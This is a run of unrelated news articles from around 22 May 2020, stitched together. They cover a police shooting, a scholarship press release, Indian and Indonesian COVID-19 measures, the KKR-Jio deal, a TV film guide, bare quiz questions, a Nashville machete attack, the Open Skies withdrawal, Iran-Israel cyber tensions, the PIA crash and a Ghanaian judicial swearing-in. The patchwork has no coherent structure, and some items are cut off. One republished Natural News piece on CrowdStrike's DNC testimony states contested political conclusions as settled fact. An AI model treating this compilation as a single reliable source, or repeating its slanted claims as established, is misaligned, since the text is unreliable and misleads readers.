Police say this .177-caliber pellet pistol modeled after a Sig Sauer fell to the ground when Colin R. Yurick was removed from his car early May 14, 2020, in Vestal, New York, after he allegedly brandished a handgun while talking to an officer, who shot and critically wounded the 29-year-old.Courtesy photo | For lehighvalleylive.com

Vestal police on Friday released a photo of a handgun that fell to the ground when Yurick was finally taken into custody, showing it to be a .177-caliber pellet pistol modeled after a Sig Sauer handgun. The black long gun Yurick allegedly fired in Bethlehem Township has not been recovered, Vestal police said.

Yurick was being treated in intensive care as of Friday, Vestal police said.

"When the police spoke to him, he did not know where he was or why he was there," Vicki Yurick said. "None of it makes any sense to us."

According to his mother, he is in critical condition with wounds to his lungs and esophagus, and a round narrowly missed his heart; another shattered the femur in his leg.

Vicki Yurick, who also lives in Michigan, said she wanted to "express sympathy and sorrow for what has occurred to those affected."

"We are heartbroken to know what has happened ... ," she wrote. "Of course we've been most concerned for his well-being. He is our son and we love him, and want him to recover, but of course we are saddened and grieved to know that others were possibly harmed in any way."

Colin Yurick was arrested in August 2019 in his home state for allegedly brandishing a handgun during a dispute, according to Vestal police. That, too, turned out to be a pellet pistol. It was held in evidence and the case is still pending prosecution.

He is charged in Bethlehem Township with 19 counts, including felony aggravated assault and misdemeanor reckless endangerment.

Vestal police say he will face felony charges of menacing a police officer, as well as a weapons offense.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com.
The CMiC-Allen Berg Memorial Scholarship grant will support 23 students as they pursue post-secondary programs in architecture, engineering and construction

TORONTO, May 22, 2020 /PRNewswire/ - CMiC  the most complete ERP and field operations software platform for construction management  has distributed a total of $400,000 in scholarships to 23 high school students across 23 states. In its 2nd year, the CMiC-Allen Berg Memorial Scholarships were presented in partnership with the ACE Mentor Program of America. "The scholarships are a real 'career booster' for some of the most talented and promising of our thousands of students," said ACE's president Diana Eidenshink. "Many of them come from families with limited means. Some scholarship winners are the first in their family to attend college. We expect them to be industry standouts during their careers."

The grant was established back in 2018 in memory of late CMiC founder, Allen S. Berg. The spirit of the grant is to preserve and extend Mr. Berg's rich legacy. "Allen was a lifelong learner, devoted to educational and community causes," says Judith Berg, Chairwoman of the CMiC Board of Directors. "This scholarship in his memory will carry on his legacy as an advocate for equal opportunities to drive positive change in the world."

Scholarship recipients were selected on the basis of merit and financial need. This fall, they will enroll in accredited college programs in architecture, construction, interior design and engineering. Winners were notified this year via a Zoom video conference announcement.

"We congratulate the exceptional students who were awarded this year's scholarships," says Jeff Weiss, Chief Revenue Officer at CMiC. "We look forward to following their journeys and successes as they grow into professionals in the AEC industry."

The scholarships are a part of CMiC's broader commitment to corporate social responsibility. Another initiative, the 'Ready, Set, Build!' program, aims to connect the company's core competencies in construction with a social need in the community through a partnership with Building Up, Toronto's leading social contractor.

About CMiC

As an industry pioneer, CMiC delivers complete and unified ERP and FIELD solutions for construction and capital projects firms. CMiC's powerful software transforms how firms optimize productivity, minimize risk and drive growth by planning and managing all financials, projects, resources, and content assetsfrom a Single Database Platform. With customers throughout North America and overseas, CMiC serves one-quarter of ENR's Top 400 Contractors and hundreds of small and mid-sized construction firms, from general and specialty contractors to heavy/highway and project owners. For more information, please visit www.cmicglobal.com.

About ACE Mentor Program

Founded in 1994, ACE, which stands for Architecture, Construction and Engineering, annually engages 10,000 high school students in a free afterschool program lasting 15 sessions. Volunteer industry professionals mentor students and lead them through a hands-on simulation of designing and constructing buildings. ACE's 74 affiliates operate in 37 states. Since its establishment, ACE has awarded $19 million in scholarships to help its students with post-secondary education and skilled crafts training. ACE is supported at the national and local level by major companies in the integrated construction industry. For more information, please visit www.acementor.org.

SOURCE Computer Methods International Inc. (CMiC)

Related Links

www.cmicglobal.com


By Express News Service

CHENNAI: In a huge relief to auto drivers who have been struggling with no income during the coronavirus pandemic, the state government has allowed autos and cycle-rickshaws to ply across the state except Chennai from Saturday.

Barring areas falling under Chennai police limits, autos can ply in non-containment areas across the state between 7 am and 7 pm, said the government in a statement. It also limited the maximum number of passengers to one during travel.

Besides barring entry of autos into containment zones, the government also clarified that drivers who live in these zones are not allowed to drive vehicles.

While stressing that auto rickshaws should be cleaned using disinfectant three times a day, the government said drivers should keep hand sanitizers in the vehicle for travellers.

Both drivers and passengers should cover their faces with masks while travelling, added the statement.

The government permission came in the wake of protests by auto drivers across the state after call taxis were permitted in 25 districts on May 18.

The relaxations are expected to provide immediate relief to auto drivers who lost their livelihoods since the onset of the COVID-19 outbreak in March.

M Chandran, General Secretary of CITU affiliated Tamil Nadu Auto Drivers association, said, It's not viable to run autos with one passenger given that fuel prices remain high. The government should relax norms in Chennai also as many private company employees need our services.

According to official records, about 2.7 lakh autos are plying across the state.
Reliance Industries gained 1.15% to Rs 1,456.55 after the company announced that global investment firm KKR will invest Rs 11,367 crore in its wholly-owned subsidiary, Jio Platforms.

Reliance Industries before market hours today, 22 May 2020 announced that KKR will invest Rs 11,367 crore into Jio Platforms. The transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. RIL said this is KKR's largest investment in Asia and will translate into a 2.32% equity stake in Jio Platforms on a fully diluted basis.

Over the last one month, leading technology investors, such as Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms. KKR is making the investment from its Asia private equity and growth technology funds.

Jio Platforms, a wholly-owned subsidiary of Reliance Industries, is a next-generation technology platform focused on providing high-quality and affordable digital services across India, with more than 388 million subscribers.

KKR is a leading global investment firm that manages multiple alternative asset classes, including private equity, energy, infrastructure, real estate and credit, with strategic partners that manage hedge funds.

Shares of RIL have gained 7.85% in last one month as compared to a 1.85% fall in benchmark BSE Sensex.

Commenting on the deal, Mukesh Ambani, Chairman and Managing Director of Reliance Industries, said, the company is looking forward to leveraging KKR's global platform, industry knowledge and operational expertise to further grow Jio.

RIL is India's largest private sector company. RIL's activities span hydrocarbon exploration and production, petroleum refining and marketing, petrochemicals, retail and digital services.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Spotlight, The World's End, Kill Bill Vol. 1.

From groundbreaking narrative masterworks to a clash of cinematic titans and gripping true tales of investigative journalism be sure to catch all the powerhouse drama on your screens as TopFilmTip brings you the best films on TV today: Friday, 22 May.

Some films may require a Sky subscription.

Housebound woman overhears murder plot on crossed-line precipitating the original, groundbreaking and exhilarating bottle-narrative Sorry, Wrong Number 11:00am Film4

Sidney Poitier witnesses the dogged, Ahab-esque determination of a submarine captain in pursuit of his enemy in The Bedford Incident 5:05pm Sony Movies Action

Indolent teacher submits to hard, sweaty, man-on-man masochism to save his school band in pugilistic feel good fun Here Comes the Boom 7:00pm Sony Movies

Three friends come of age in one night of car shooting, penis-drawing, girl-chasing, fake ID-ing fun Superbad 9:00pm Comedy Central

Temporal tuning hat enthusiasts try to persuade Matt Damon to avoid Emily Blunt in Monsters Inc-esque sci-fi-romance The Adjustment Bureau 9:00pm Sony Movies

Alcoholic nostalgist reforms formative friends for blue-blooded, blankbot-battering pub crawl in quick-quipping comedy The World's End 9:00pm ITV2

Scenery chewing cop Al Pacino finds strange synergy with restrained opponent Robert De Niro in intense bank robbing face off Heat 9:00pm Film4

Read more: Film released early to streaming

Bristling Bride's burning fury drives seething frenetic vengeance in rock n roll limb lopping, anime flashbacking and samurai homage fest Kill Bill: Vol. 1 10:00pm SyFy Universal

Forget beaches, booze and sunshine: todays travellers prefer putrid, post-communist backwaters for a holiday. Find out why in gore horror Hostel 10:45pm Horror Channel

American actors Phoebe Cates and Zach Galligan on the set of Gremlins, directed by Joe Dante. (Photo by Warner Bros. Pictures/Amblin E/Sunset Boulevard/Corbis via Getty Images)

Oriental mogwai causes chaos when idiotic bank boy breaks three simple rules in Joe Dante's impish, cute-tastic, cult treat Gremlins 11:05pm ITV1

Wily bike courier Joseph Gordon Levitt tears round New York evading crooks and cops in frenetic fixed-frame macguffin hunting fun Premium Rush 11:10pm Sony Movies

Story continues

Investigative newspaper team unravel and expose the horrendous and harrowing institutional abuse of power within the catholic church in powerhouse drama Spotlight 11:20pm BBC Two

Ensemble cast face the imminent end of the world with idiosyncrasy, stoicism and suicide pacts in curious concept drama Last Night 2:10am Film4

Everything new on streaming in May:

Netflix UK: Mays new releases

NOW TV: Mays new releases

Amazon Prime Video UK: May's new releases

Disney+ UK: May's new releases
1. How many days will there be in 2020?

2. What is myopia commonly known as?

3. The Lapland region stretches over which four countries?

4. Which Dr Seuss book only uses 49 monosyllabic words and anywhere?

5. Which French singer was known as The Little Sparrow for her diminutive stature?
(Natural News) CrowdStrike, the private cyber-security firm that first accused Russia of hacking Democratic Party emails and served as a critical source for U.S. intelligence officials in the years-long Trump-Russia probe, acknowledged to Congress more than two years ago that it had no concrete evidence that Russian hackers stole emails from the Democratic National Committees server.

(Article by Aaron Mate republished from RealClearInvestigations.com)

CrowdStrike President Shawn Henrys admission under oath, in a recently declassified December 2017 interview before the House Intelligence Committee, raises new questions about whether Special Counsel Robert Mueller, intelligence officials and Democrats misled the public. The allegation that Russia stole Democratic Party emails from Hillary Clinton, John Podesta and others and then passed them to WikiLeaks helped trigger the FBIs probe into now debunked claims of a conspiracy between the Trump campaign and Russia to steal the 2016 election. The CrowdStrike admissions were released just two months after the Justice Department retreated from its its other central claim that Russia meddled in the 2016 election when it dropped charges against Russian troll farms it said had been trying to get Trump elected.

Henry personally led the remediation and forensics analysis of the DNC server after being warned of a breach in late April 2016; his work was paid for by the DNC, which refused to turn over its server to the FBI. Asked for the date when alleged Russian hackers stole data from the DNC server, Henry testified that CrowdStrike did not in fact know if such a theft occurred at all: We did not have concrete evidence that the data was exfiltrated [moved electronically] from the DNC, but we have indicators that it was exfiltrated, Henry said.

Henry reiterated his claim on multiple occasions:

There are times when we can see data exfiltrated, and we can say conclusively. But in this case it appears it was set up to be exfiltrated, but we just dont have the evidence that says it actually left.

Theres not evidence that they were actually exfiltrated. Theres circumstantial evidence but no evidence that they were actually exfiltrated.

There is circumstantial evidence that that data was exfiltrated off the network.  We didnt have a sensor in place that saw data leave. We said that the data left based on the circumstantial evidence. That was the conclusion that we made.

Sir, I was just trying to be factually accurate, that we didnt see the data leave, but we believe it left, based on what we saw.

Asked directly if he could unequivocally say whether it was or was not exfiltrated out of DNC, Henry told the committee: I cant say based on that.

In a later exchange with Republican Rep. Chris Stewart of Utah, Henry offered an explanation of how Russian agents could have obtained the emails without any digital trace of them leaving the server. The CrowdStrike president speculated that Russian agents might have taken screenshots in real time. [If] somebody was monitoring an email server, they could read all the email, Henry said. And there might not be evidence of it being exfiltrated, but they would have knowledge of what was in the email.  There would be ways to copy it. You could take screenshots.

Henrys 2017 testimony that there was no concrete evidence that the emails were stolen electronically suggests that Mueller may have been misleading in his 2019 final report. The report stated that Russian intelligence appears to have compressed and exfiltrated over 70 gigabytes of data and agents appear to have stolen thousands of emails and attachments from Democratic Congressional Campaign Committee and DNC servers, respectively. It also suggests that the DNC emails were transferred to a server in Illinois controlled by the Russian intelligence service GRU. But in addition to including the qualifier appear, Muellers source for the Illinois server claim is redacted. That leaves CrowdStrike, to date, as U.S. intelligence officials primary, publicly known source for its confident claims about Russian hacking.

The stolen emails, which were published by Wikileaks  whose founder, Julian Assange has long denied they came from Russia  were embarrassing to the party because, among other things, they showed the DNC had favored Clinton during her 2016 primary battles against Sen. Bernie Sanders for the presidential nomination. The DNC eventually issued an apology to Sanders and his supporters for the inexcusable remarks made over email. The DNC hack was separate from the FBIs investigation of Clintons use of a private server while serving as President Obamas Secretary of State.

The disclosure that CrowdStrike found no evidence that alleged Russian hackers exfiltrated any data from the DNC server raises a critical question: On what basis, then, did it accuse them of stealing the emails? Further, on what basis did Obama administration officials make far more forceful claims about Russian hacking?

The January 2017 Intelligence Community Assessment (ICA), which formally accused Russia of a sweeping influence campaign involving the theft of Democratic emails, claimed the Russian intelligence service exfiltrated large volumes of data from the DNC. A July 2018 indictment claimed that GRU officers stole thousands of emails from the work accounts of DNC employees.

According to everyone concerned, the cyber-firm played a critical role in the FBIs investigation of the DNC data theft. Henry told the panel that CrowdStrike shared intelligence with the FBI on a regular basis, making contact with them over a hundred times in the course of many months. In congressional testimony that same year, former FBI Director James Comey acknowledged that the FBI never got direct access to the machines themselves, and instead relied on CrowdStrike, which shared with us their forensics from their review of the system. According to Comey, the FBI would have preferred direct access to the server, and made multiple requests at different levels, to obtain it. But after being rebuffed, ultimately it was agreed to [CrowdStrike] would share with us what they saw.

Henrys testimony seems at variance with Comeys suggestion of complete information sharing. He told Congress that CrowdStrike provided a couple of actual digital images of DNC hard drives, out of a total number of in excess of 10, I think. In other cases, Henry said, CrowdStrike provided its own assessment of them. The firm, he said, provided the results of our analysis based on what our technology went out and collected. This disclosure follows revelations from the case of Trump operative Roger Stone that CrowdStrike provided three reports to the FBI in redacted and draft form. According to federal prosecutors, the government never obtained CrowdStrikes unredacted reports.

There are no indications that the Mueller team accessed any additional information beyond what CrowdStrike provided. According to the Mueller report, the FBI later received images of DNC servers and copies of relevant traffic logs. But if the FBI obtained only copies of data traffic  and not any new evidence  those copies would have shown the same absence of concrete evidence that Henry admitted to.

Adding to the tenuous evidence is CrowdStrikes own lack of certainty that the hackers it identified inside the DNC server were indeed Russian government actors. Henrys explanation for his firms attribution of the DNC hack to Russia is replete with inferences and assumptions that lead to beliefs, not unequivocal conclusions. There are other nation-states that collect this type of intelligence for sure, Henry said, but what we would call the tactics and techniques were consistent with what wed seen associated with the Russian state. In its investigation, Henry said, CrowdStrike saw activity that we believed was consistent with activity wed seen previously and had associated with the Russian Government.  We said that we had a high degree of confidence it was the Russian Government.

But CrowdStrike was forced to retract a similar accusation months after it accused Russia in December 2016 of hacking the Ukrainian military, with the same software that the firm had claimed to identify inside the DNC server.

The firms work with the DNC and FBI is also colored by partisan affiliations. Before joining CrowdStrike, Henry served as executive assistant director at the FBI under Mueller. Co-founder Dmitri Alperovitch is a vocal critic of Vladimir Putin and a senior fellow at the Atlantic Council, the pro-NATO think tank that has consistently promoted an aggressive policy toward Russia. And the newly released testimony confirms that CrowdStrike was hired to investigate the DNC breach by Michael Sussmann of Perkins Coie  the same Democratic-tied law firm that hired Fusion GPS to produce the discredited Steele dossier, which was also treated as central evidence in the investigation. Sussmann played a critical role in generating the Trump-Russia collusion allegation. Ex-British spy and dossier compiler Christopher Steele has testified in British court that Sussmann shared with him the now-debunked Alfa Bank server theory, alleging a clandestine communication channel between the bank and the Trump Organization.

Henrys recently released testimony does not mean that Russia did not hack the DNC. What it does make clear is that Obama administration officials, the DNC and others have misled the public by presenting as fact information that they knew was uncertain. The fact that the Democratic Party employed the two private firms that generated the core allegations at the heart of Russiagate  Russian email hacking and Trump-Russia collusion  suggests that the federal investigation was compromised from the start.

The 2017 Henry transcript was one of dozens just released after a lengthy dispute. In September 2018, the Republican-controlled House Intelligence Committee unanimously voted to release witness interview transcripts and sent them to the U.S. intelligence community for declassification review. In March 2019, months after Democrats won House control, Rep. Adam Schiff ordered the Office of the Director of National Intelligence (ODNI) to withhold the transcripts from White House lawyers seeking to review them for executive privilege. Schiff also refused to release vetted transcripts, but finally relented after acting ODNI Director Richard Grenell suggested this month that he would release them himself.

Several transcripts, including the interviews of former CIA Director John Brennan and Comey, remain unreleased. And in light of the newly disclosed Crowdstrike testimony, another secret document from the House proceedings takes on urgency for public viewing. According to Henry, Crowdstrike also provided the House Intelligence Committee with a copy of its report on the DNC email theft.

Read more at: RealClearInvestigations.com and RealInvestigations.news.
A husband and wife were left fighting for their lives after being attacked by a homeless man with a machete because he was angry about having to get a coronavirus test before being allowed to sleep in a shelter.

Kelvin Edwards, 35, allegedly stabbed Kevin and Leanne Craft with a machete in an unprovoked attack at a storage building in downtown Nashville on Sunday afternoon.

Police picked Edwards up after the stabbing and said he was frustrated about being unable to stay at the Nashville Rescue Mission, who had implemented Covid-19 testing before guests can stay.

A spokesman for the mission told Fox17 said: 'Yes, all guests who come back to stay at the Mission who have not had a COVID test are asked to get one.'

Both victims were rushed to hospital with life-threatening injuries; Kevin, 55, sustained machete wounds to his torso while Leanne, 50, was hacked in the head and body.

Kevin Craft, 55, and his wife, Leanne Craft, 50, were hacked at with a machete at a storage facility in Nashville, Tennessee, on Sunday afternoon

Kelvin Edwards, 35, (pictured) is said to have attacked Kevin Craft, 55, and his wife, Leanne Craft, 50, at a storage facility in Nashville, Tennessee, on Sunday afternoon, police said

Pictured: Kevin and Leanne were attacked at Public Storage on 5th Avenue South in Downtown Nashville

Edwards is said to have drawn an 18-inch machete blade from his bin at the mission and attacked the couple, who friends described as caring and nurturing.

Officers arrived at the scene to Edwards with his hands up and the knife on the ground.

Officer James Hill, who was the first to see the victims, described the scene as 'disturbing'.

'I've only been a police officer here for about two, two and a half years and I've seen a few disturbing incidents in my time, but just seeing the state of the victims - the trauma - it was something that was very disturbing,' said Hill.

The husband and wife were rushed to the hospital with life-threatening injuries after Sunday's attack. Both are now in a stable condition

Pictured: Nashville Rescue Mission where Edwards allegedly became enraged after being asked to undergo coronavirus testing before being allowed to stay

Family members of the couple sent a message to the police department, thanking them for saving their lives.

'My in-laws were the ones that were attacked. From the information gathered, the six officers who responded saved the Craft's lives. Thank you for serving and protecting.. we are forever grateful, god bless,' the letter read.

On Monday, Kevin was listed as being in critical condition and Leanne was stable. Two days later, friends posted on Facebook that Kevin's situation had improved.
Hyderabad, May 22 : In a shocking incident, nine bodies including eight of migrants were found in a well near Warangal town in Telangana, police said on Friday.

While four bodies were recovered from the well at Gorrekunta village on Thursday, five more bodies were pulled out on Friday.

The dead include six members of a migrant family from West Bengal, two workers from Bihar and a local resident.

The bodies of Mohammed Maqsood (56), who was working in gunny bag stitching shop in Warangal, his wife Nisha (48), their daughter Bushra (24) and three year old grandson were recovered from the well late Thursday.

The rescue workers found five more bodies on Friday. They include Maqsood's son, two migrants from Bihar and a local resident.

Police said they were probing if it was a case of mass suicide or murders.

Warangal Police Commissioner V. Ravinder told reporters near the scene that special teams were constituted to probe the case.

"There are no external injuries on the bodies. The cause of their death will be known after we receive autopsy reports. We are probing the case from all angles," he said.

A case was registered at Geesukonda police station. The bodies were shifted to Mahatma Gandhi Hospital in Warangal for autopsy.

Dog squads and Clues teams were pressed into service to gather the clues.

Maqsood, who was living in Kareemabad area of Warangal town for 20 years, was out of work due to the lockdown. Shop owner had reportedly given shelter to the family at his godown. The bodies were found in the well near the godown.
WASHINGTON (Reuters) - The United States announced its intention on Thursday to withdraw from the 35-nation Open Skies treaty allowing unarmed surveillance flights over member countries, the Trump administrations latest move to pull the country out of a major global treaty.

The administration said Russia has repeatedly violated the pacts terms. Senior officials said the pullout will formally take place in six months, based on the treatys withdrawal terms.

I think we have a very good relationship with Russia. But Russia didnt adhere to the treaty. So until they adhere we will pull out, U.S. President Donald Trump told reporters.

He said there was a very good chance well make a new agreement or do something to put that agreement back together.

In Moscow, RIA state news agency quoted Russian Deputy Foreign Minister Alexander Grushko as saying that Russia has not violated the treaty and nothing prevents the continuation of talks on technical issues that the Washington calls violations.

NATO allies and other countries such as Ukraine have pressed Washington to remain in the treaty, and Trumps decision could aggravate tensions within the alliance.

The administration also pulled the United States out of the Intermediate-range Nuclear Forces Treaty with Russia last year.

The officials, speaking on condition of anonymity to a small group of reporters, said the Open Skies decision followed a six-month review that found multiple instances of Russian refusal to comply with the treaty.

During the course of this review it has become abundantly clear that it is no longer in Americas interests to remain a party to the Open Skies treaty, said one of the officials.

One administration official said extensive discussions were held with U.S. allies leading up to the decision but ultimately Washington decided it is no longer in our interest to participate in it.

At the same time, the official said U.S. officials had begun talks in recent days with Russian officials about a new round of nuclear arms negotiations to begin crafting the next generation of nuclear arms control measures.

The United States is committed to arms control. We are committed to European security. And we are committed to a future that puts meaningful constraints on nuclear weapons, the official said.

The Open Skies treaty, proposed by U.S. President Dwight Eisenhower in 1955, was signed in 1992 and took effect in 2002. The idea is to let member nations make surveillance flights over each others countries to build trust.

The officials cited a years-long effort by Russia to violate the terms, such as by restricting U.S. overflights of Russias neighbor Georgia and its military enclave in Kaliningrad.

In addition, they said Russia has been using its own overflights of American and European territory to identify critical U.S. infrastructure for potential attack in a time of war.

Some experts worry that a U.S. exit from the treaty, which will halt Russian overflights of the United States, could prompt Moscows withdrawal, which would end overflights of Russia by the remaining members, weakening European security at a time that Russian-backed separatists are holding parts of Ukraine and Georgia.

Trumps decision to leave the treaty is premature and irresponsible, said Daryl Kimball, the head of the Arms Control Association.

The 35 state parties to the Open Skies treaty are: Belarus, Belgium, Bosnia and Herzegovina, Bulgaria, Canada, Croatia, the Czech Republic, Denmark (including Greenland), Estonia, Finland, France, Georgia, Germany, Greece, Hungary, Iceland, Italy, Kazakhstan, Latvia, Lithuania, Luxembourg, the Netherlands, Norway, Poland, Portugal, Romania, the Russian Federation, Slovakia, Slovenia, Spain, Sweden, Turkey, Ukraine, the United Kingdom, and the United States.
Iranian Supreme Leader Ayatollah Ali Khamenei greets participants during a meeting in Tehran - Anadolu

Tensions between Iran and Israel have escalated this week over a series of cyber-attacks and a poster promoted by the Supreme Leader which called for a final solution to the Israeli-Palestinian conflict.

The poster was reportedly published on the official website of Ayatollah Ali Khamenei, the Supreme Leader of Iran, and carried the slogan the final solution: resistance until referendum.

The same image was promoted by Javad Zarif, the Iranian foreign minister, in a message on Twitter where he called for Palestinians to hold a referendum on their preferred system of governance.

In a separate post on Twitter, the Supreme Leader said that Iran would support any group or any nation anywhere...who opposes the Zionist regime, referring to Israel.

The phrase final solution evokes the Nazis attempt to exterminate the Jewish population during the Holocaust.

A spokesman for Benjamin Netanyahu, the Israeli prime minister, responded: He [Khamenei] should know that any regime that threatens to destroy the State of Israel faces a similar danger.

Iran has ramped up its anti-Israel rhetoric ahead of al-Quds Day, an annual event held by the regime in solidarity with Palestinians.

But the tensions are also being fueled by Israel's proposed annexation of parts of the West Bank later this year, which has drawn criticism from Arab nations, the EU and Britain.

Earlier this week the Palestinian Authority claimed it was scrapping all security agreements with Israel and the US over the annexation plan, which has been given the green light by Washington.

The online row came amid reports that Israel had launched a cyber attack on a key Iranian port earlier this week, wreaking havoc on the shipping industry.

Aviv Kochavi, a Lieutenant-General in the Israel Defence Forces, has implied that the Jewish state was behind the attack.

Story continues

Disgusting that those whose civilization found a "Final Solution" in gas chambers attack those who seek a real solution at the ballot box, through a REFERENDUM.



Why are US and West so afraid of democracy?



Palestinians should not have to pay for your crimes, or for your guilt. pic.twitter.com/0jjB9jaljw  Javad Zarif (@JZarif) May 21, 2020

"We will continue to use diverse military tools and unique methods of warfare to strike at the enemy, he said in response to reports of the cyber-attack.

The attack was launched on Shahid Rajaee port and is said to have caused hours of disruption by crashing the computer systems that control traffic flows.

It is understood that the Israeli cyber-attack was in retaliation for a failed attempt by Iran to hack into the countrys water supply system.

On Thursday, several hundred Israeli websites were targeted by cyber-attacks, according to Israeli media reports, though in this case experts say it is unlikely Iran was involved.

The affected websites were hacked to display video footage of Israeli cities being bombed.

Israeli officials say they are bracing for more disruption this Friday, when Iran will hold its annual al-Quds Day event.
Footage showed plumes of smoke rising from the site of the crash.

A Pakistan International Airlines (PIA) aircraft with 90 passengers on board crashed in a residential area near the Karachi airport on Friday.

PIA spokesperson Abdul Sattar confirmed the crash and added that the flight  A-320  was carrying 90 passengers and was flying from Lahore to Karachi, Dawn reported.

Footage showed plumes of smoke rising from the site of the crash. A rescue operation is underway.

Saying anything right now would be premature. Our crew is trained to handle emergency landings. All my prayers are with the families. We will continue to provide information in a transparent manneer.

Chief of Army Staff (COAS) Gen Qamar Javed Bajwa extended condolences to the families of the decreased and called the incident a loss of precious lives.

Radio Pakistan reported that Army Quick Reaction Force and Pakistan Rangers Sindh troops have reached incident site and rescue efforts are being made. Alongside civil administration is monitoring the incident closely.

Inter-Services Public Relations (ISPR) said COAS has directed provision of full assistance to civil administration in rescue/ relief effort.

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CLEVELAND, Ohio  Hospitals in Cuyahoga County this week recorded the highest usage of intensive-care beds since the coronavirus outbreak began in Northeast Ohio, the Board of Health reported Friday.

Seventy-seven percent of available ICU beds were filled as of Friday, marking an increase of five percentage points over last week. The usage of ICU beds dropped off in mid-April, but has steadily risen since April 24, surpassing previous highs in early April, board data show.

Board Medical Director Dr. Heidi Gullett drew attention to the increases on Friday during a media briefing. She noted that area hospitals have plans in place to increase the number of available beds in the event of a surge in patients requiring intensive care.

I felt it was important for everyone to see where we are as we begin to re-open, Gullett said.

Ventilator usage this week increased by 1 percentage point to 33%.

Usage of non-intensive care beds at local hospitals remains unchanged from last week, at 70%, the board reported. But that number could fluctuate in the coming days as more people receive elective surgeries that were delayed earlier in the outbreak, Gullett said.

Of tests administered at the Cleveland Clinic, MetroHealth and University Hospitals, 7.1% have been positive for coronavirus. This week, about 22,000 tests were administered at hospitals, up from the 14,000 tests that were administered last week, Gullett reported.

Of the 2,579 suburban county residents who have tested positive, 415 have required hospitalization, including 118 who required admission to intensive-care units.

Gullett and Health Commissioner Terry Allan on Friday urged Cuyahoga County residents to adhere to safety guidelines during the upcoming Memorial Day weekend, and as the economy continues to re-open.

We know that as people interact, and as we see some leakage around the social distancing guidelines  where people are not doing as well as they could with wearing masks, keeping their distance and staying home while sick  [it] will inevitably result in more cases, Allan said.
The President of the Republic, Nana Addo Dankwa Akufo-Addo, on Friday, 22nd May 2020, swore into office two newly appointed Justices of the Supreme Court, Justice Clemence Jackson Honyenuga and Justice Issifu Omoro Tanko Amadu, at separate ceremonies at Jubilee House, the seat of the nations presidency.



First swearing in Justice Clemence Jackson Honyenuga, President Akufo-Addo noted that he had met the stringent requirements of Article 128 clause (4) of the Constitution, and has demonstrated the independence of spirit, proven integrity, high moral character, and impartiality of mind to hold this high office.



According to the President, your track record, over the last thirty-nine (39) years, speaks for itself  Assistant State Attorney, private legal practitioner, Judge Advocate of the Ghana Navy, Justice of the High Court, Additional High Court Judge sitting on civil matters, narcotics, robbery, and other violent crimes, Director of the Remand Prisoners Project, and long-serving Justice of the Court of Appeal.



He continued, Your appointment to the highest court of the land is, thus, truly well-deserved and merited. The post-1966 Supreme Court has developed a positive reputation for the quality of its constitutional jurisprudence, and I am hopeful that you, who have already had good experience of high judicial office in the Court of Appeal, will help strengthen the development of our nations constitutional and other jurisprudence in the Supreme Court.



With Justice Honyenuga having endured a difficult time lately, the President applauded him for comporting himself in a dignified manner.



I can only urge you to overlook these events, which should be a mere blip on your public career, and dispense justice in accordance with your conscience and the rule of law. It is extremely important that you ensure the strict application of the laws of the land, in the words of the judicial oath, without fear or favour, affection or ill-will, which you have just taken, and, therefore, without recourse to the political, religious or ethnic affiliations of any citizen of the land, he said.



President Akufo-Addo urged Justice Honyenuga to make sure that when anyone falls foul of the law, the law enforcement agencies, including the Judiciary, must ensure the person is dealt with in accordance with law.



That, he explained, is the true meaning of the concept of equality before the law.



At the swearing-in ceremony of Justice Tanko Amadu, President Akufo-Addo stated that this is the first time in the nations history that a Muslim has been appointed to the highest court of the land, adding that I am delighted to have been the President to have the honour of doing so, and to do so appropriately in this Holy Month of Ramadan.



Having worked as a lawyer in the great Federal Republic of Nigeria for nineteen (19) years, and going on to found his own firm in 1997, Justice Tanko Amadu was appointed to the High Court in 2008, and, four (4) years later, was promoted to the Court of Appeal, the President stated that, by dint of hard work and merit, he has been further elevated.



With the Constitution of the Republic affirming that final judicial power in the State is vested solely in the Judiciary, and not in any other agency or organ of the State, the President noted that the Judiciary has onerous responsibilities to protect the individual liberties and fundamental human rights of citizens, to act as the arbiter in disputes between the State and the citizen, to act as the arbiter in disputes between citizens and all persons, and to serve as the bulwark for the defence and promotion of the liberties and rights of the people.



With all other Courts bound to follow the decisions of the Supreme Court on questions of law, it is obviously critical that Justices of the Supreme Court possess a sound knowledge of the law, and of precedent, the principle of stare decisis, he added.



The President added that the situation where judges proffer judgements on the basis of decisions from lower courts and cite them as law, is not acceptable, and even less so, when judges cite no authority at all for their rulings, and give orders without reasons.



Judges, more so Justices of the Supreme Court, must be learned, know their case law and ensure their decisions and judgements are properly motivated. It is in this manner that judges contribute to the orderly development of the nation, the President said.



President Akufo-Addo noted that all Ghanaians, with their different views and their different perspectives, must work together for the realisation of the Ghana project  a united Ghana, driven by considerations of social justice and solidarity, and governed according to the rule of law, respect for individual liberties, human rights and the principles of democratic accountability.



In these not so normal times, the era of the Coronavirus pandemic, in which we find ourselves, we must hold on firmly to these values, and work, within the confines of an open society, towards the defeat of the virus, he added.













Source: Peacefmonline.com









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Midland residents impacted by the recent flood can get food and clothing donations from noon to 3 p.m. Saturday at the Wheeler Road Church of Christ, 1123 E. Wheeler Road.

Those interested can come at the above time to register to receive food. personal care items, clothing and bedding.
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Linkedin Sausan Atika (The Jakarta Post) Jakarta  Sat, May 23, 2020 00:07 607 fc6853813033f564188675f8bd9bac81 1 National PSBB,Idul-Fitri,COVID-19,Greater-Jakarta,mudik-ban,religion,society,governance,law Free

Indonesia faces the risk of even more COVID-19 infections after the Idul Fitri holiday this year, as family gatherings and homecoming journeys make up a large part of the yearly tradition for millions of the countrys Muslims.

Many people find it difficult to forego the centuries-old practice of extending silaturahmi (communal bonds) during the holiday, even as the government imposes large-scale social restrictions (PSBB) to curb the spread of the deadly disease.

The urge is even harder to resist in Greater Jakarta, where the urban sprawl spills across provincial boundaries.

Zoraya, who asked not to reveal her family name, currently lives in South Tangerang, Banten, with her husband and in-laws. She is fully aware of the COVID-19 situation, including the governments call to stay at home.

This did not prevent her from visiting her 60-year-old mother in East Jakarta on Thursday, which she felt was the right thing to do before Idul Fitri.

The 29-year-old consultant was confident because she had taken all the necessary precautions for coming into contact with the elderly, the most at-risk group for COVID-19.

This included buying groceries only at the one particular retailer.

I never go to crowded places. I will also not visit other places before heading to my mothers house, she told The Jakarta Post on Thursday.

If something happens to me or my mother, we would know how we became infected.

